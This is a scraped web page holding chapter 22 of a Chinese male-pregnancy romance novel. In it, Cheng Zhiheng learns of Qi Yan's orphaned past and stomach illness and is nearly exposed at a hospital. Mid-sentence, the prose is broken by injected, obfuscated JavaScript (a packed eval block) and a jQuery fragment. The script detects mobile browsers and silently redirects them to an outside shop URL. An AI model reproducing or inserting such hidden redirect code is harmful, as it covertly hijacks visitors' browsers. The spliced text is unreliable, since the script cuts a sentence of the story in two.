22.第 22 章
作品:《假少爷怀孕了,是真少爷的》 吃饱喝足后他收了碗,又把装了菜的保鲜盒放在桌子上,和程知蘅说一会儿要去医院,让他自己照顾好自己。
程知蘅点头说好,主动提出出门帮祈琰倒垃圾。
今天比昨天凉快许多,虽然是午后,门外阴凉处也有很多人坐着,围成一圈聊天纳凉。
程知蘅倒了垃圾,还没来得及上楼,倒被楼底下聚成一圈的老太太姐妹团拉住了。
老人家最爱看他这种端正乖巧面皮白净的孩子,拉着程知蘅的手赞他长得好。
“你是住几楼哒?怎么之前没见过你?”
程知蘅被夸得不好意思,垂着眼睛小声说自己之前不住这儿,之后住四楼。
“四楼?”烫羊毛卷的老太太眼珠子一转,“那不是小文家里吗?”
另一个戴眼镜的老太太抚掌惊叹:“哎哟还真是,长得跟小文一个模子里刻出来的似的,你是小文的儿子吧?”
羊毛卷老太太拍了拍她,说:“不是不是!小文的儿子不长这样,小文儿子是那个高个儿小帅哥,记得么?”
她们自顾自聊起往事,程知蘅却僵在原地。
他的亲生母亲,的确就叫做冉小文。
而他们提到的“小文的儿子”,一定也就是祈琰了。
鬼使神差的,程知蘅插嘴多问了一句:“小文的儿子是个什么样的人?”
“喔唷长得可俊呢!”
“学习可好!天天晚上大半夜了灯还亮着,学习呢!”
“可惜了,多好的孩子,他爸爸妈妈过世之后就不爱说话了。”
眼镜老太太像是不知道这件事,一下呆了:“什么?他爸妈没了?小文吗?”
“是啊,小文走了好几年了……多好的一个姑娘,工作也好,哎……”
又有人插嘴:“可不是。可怜了那个孩子,一夜之间爸妈都没了。之前救护车还来过一次,把他拉走了,说是不吃不喝病倒了,拉到医院去抢救呢。”
“……不是吃错了东西去洗胃吗?”
“啊?不是说他想轻生,才来了救护车吗?”
有关救护车这个事情,老太太圈里一下冒出来七八个版本,几个人争论不休,一下没人理会程知蘅了。
趁着没人注意,程知蘅一个人安安静静溜上了楼。
边爬楼,他又开始出神。
看来,父母过世这个事情对祈琰的打击,比他想象得还要更大。
这些年,祈琰替他长出来了右手食指和中指上的茧,替他住在狭小的老房子里,替他照顾了奶奶那么久,替他吃了那么多年的苦,又替他承受了本该他承担的丧失双亲之痛。他欠祈琰的,岂止太多了,再也还不清。
他忽然低头看向自己。
小腹上还看不出起伏,但这个小小的孩子,是他和祈琰两家人的骨肉。
虽说并没有真的这么打算过,但是他脑海中忽然闪过一刹那的念头——若是生下这个孩子,他们两个人,就真的成为一家人了。
可惜,他已经决定不生这个孩子了。
程知蘅就这么心事重重地回到家里,这时候祈琰已经收拾好准备出门。
他正巧站在门口收拾,额头上有点汗,脸色也显得苍白,屋里空调打得很低,程知蘅觉得有点纳闷:“你热吗?”
祈琰似乎也觉得这个问题莫名其妙,只低声答:“不热。”
已经说起了这个问题,于是程知蘅多问了一句:“我昨天怎么也打不开空调,你是怎么弄开的?”
祈琰笑了笑:“你拿错遥控器了。”
“啊,原来如此。”程知蘅也跟着笑了,有点觉得不好意思。他很想解释一句自己自理能力其实并不像看起来那么糟糕,又担心多说多错。
他本来要回屋,却莫名多看了几眼祈琰发白的脸色。
顿了许久,他终于还是开口问:“你要去医院看奶奶?我和你一起去行么?”
程知蘅心想,既然是看奶奶,他也理应去关心一下,其次是他还记得医生的嘱咐,打算去复诊。
医生本意是让他通知父母亲人,他既然已经决定瞒着家人做堕胎手术,那么自己去也就行了。
祈琰也没说拒绝的话,只点了点头:“那走吧。”
程知蘅冲回去拿了手机和充电器,他跑跑跳跳的,像只活蹦乱跳的小狗,就这么跟着祈琰出门了。
好不容易身体没什么不适,他觉得简直是满血复活,看着太阳天,心情也转好,所以一路上拉着祈琰扯东扯西,坐到了出租车上还不肯安静。
祈琰本来就话少,所以一路上他一直只以点头摇头回答问题,程知蘅也没怎么觉察出不对,直到上了出租车,狭小的空间里,一切细微的神色变动都无所遁形。
祈琰的手轻轻按着胃,指尖微微颤抖,额前还在出汗。
这时候窗外经过一片绿色,亮色的阳光倾洒进来,程知蘅没忍住去看祈琰好看的侧脸,他鼻梁高,眉骨也高,从侧面看,虽说还是一副冷冷的模样,却实在是让人挪不开眼。
程知蘅偷偷看了好一会儿,眼神一飘,这才注意到祈琰咬得死紧的双唇。
联系起祈琰一直很低的声音、额前的冷汗,以及微颤的指尖,程知蘅陡然瞪大双眼,终于觉察出不对。
他伸出手背去探祈琰的额头,很大声问:“你怎么回事?是哪里不舒服吗?”
“也没有。”祈琰顿了好一会儿,低声说。他声音尾音很轻,是难受的。
看着程知蘅显然没有相信的样子,他不得不说了实话:“老毛病了,不碍事。”
程知蘅大脑飞速运转,这时候才想起来,之前那一堆老太太里,似乎就有人提到,“救护车”事件里,祈琰是被拉到医院洗胃。
“你胃不好?”程知蘅很关切地问,没察觉间,指尖已经用力握住了祈琰的手腕。
祈琰没说话,算作是默认。
程知蘅惊讶了很久,抿起唇不说话了,他想起来自己早些时候,逼着祈琰吃他热的路边摊鸡翅。
胃不好的人不能吃重油重盐的东西。难怪祈琰一直推辞,难怪他一直自己做饭,难怪。
程知蘅咬住下唇,长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995313|193613||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睫毛低低垂着,很慢吞吞地转过头去又转回来,很小声说不好意思。
祈琰不是没听明白这句不好意思指的是什么。
他垂目看着程知蘅,心里也有些情绪在翻涌。
程知蘅看起来是肆意张扬没有烦恼的人,对着他,却说过了太多次抱歉。
小朋友心理世界太丰富,经不起一点风雨。他像是并不知道自己这副样子看起来惹人心疼,还自顾自地咬着嘴唇,垂着眼睛,黑眼珠滴溜溜地缓慢转动。
反正病都犯了,如果还要多余惹得他内疚,似乎是毫无必要得不偿失的事情。
于是祈琰装作听不懂:“为什么要道歉?”
程知蘅抬头,张了张嘴。
“可能是我昨天晚饭吃错了东西,昨晚就有点不舒服了。一会儿正好去医院,我也去看看。”祈琰说着,语气仿佛很平常。
程知蘅自以为很隐秘地松了口气。
他瞪大眼睛,说:“我一会儿陪你去。”
说完,他又补充:“你胃不好,我下次再也不给你吃我买的东西了。”
祈琰低声淡笑,伸手揉了揉他的头发:“不给就不给。”
-
祈琰不舒服,怕奶奶看出来担心,于是把东西交给程知蘅,非不让他陪着,自己先去开药了。
程知蘅去了奶奶的病房,又说了好一会儿话,哄奶奶睡完午觉,这时候祈琰还没回来。
他心想着,与其一直在这里等,倒不如自己也去看医生,省得祈琰那边结束了还得等他。他也是担心会被祈琰发现自己看妇产科。
医院人很多,不过他提前拿了号子,所以没等太久。
医生看见他又一次自己来,叹了口气,也不好说他什么,只和他说了一些注意事项,又开了几个检查。
他正好要去拿一个结果,所以带着程知蘅走出诊室的门,一路走到检查室附近,又叮嘱他:“这个手术很复杂,风险也很高,目前做不了,要等一阵子。这阵子你要经常来,刚才和你说的事情都要多注意,有任何不适立刻联系我。”
程知蘅有点不好意思,只低头说“好”。
他还想再问点什么,谁知道刚张开口,一抬头,就看见祈琰从正前方走过来。
这么大的医院,怎么还能偶遇?
程知蘅被吓了一大跳,转头就想跑,但这时候已经来不及了,祈琰已经喊了一声他的名字,又走到他面前。
他看起来脸色没刚才白了,想必是已经吃了药。
刚才他苍白的脸色转移到了程知蘅的脸上。
身边还站着主治医师,他是一句话都不敢乱说,生怕祈琰发现自己怀孕的事情。
空气就这么安静下来,直到主治医师也察觉到不对劲的气氛。
医生看了一眼程知蘅,又看了一眼祈琰,于是率先打破了沉默。
他问:“这就是孩子的爸爸吗?”
祈琰:……?
程知蘅:………………
程知蘅浑身僵硬,大脑宕机,平地左脚绊右脚,差点把自己摔死。

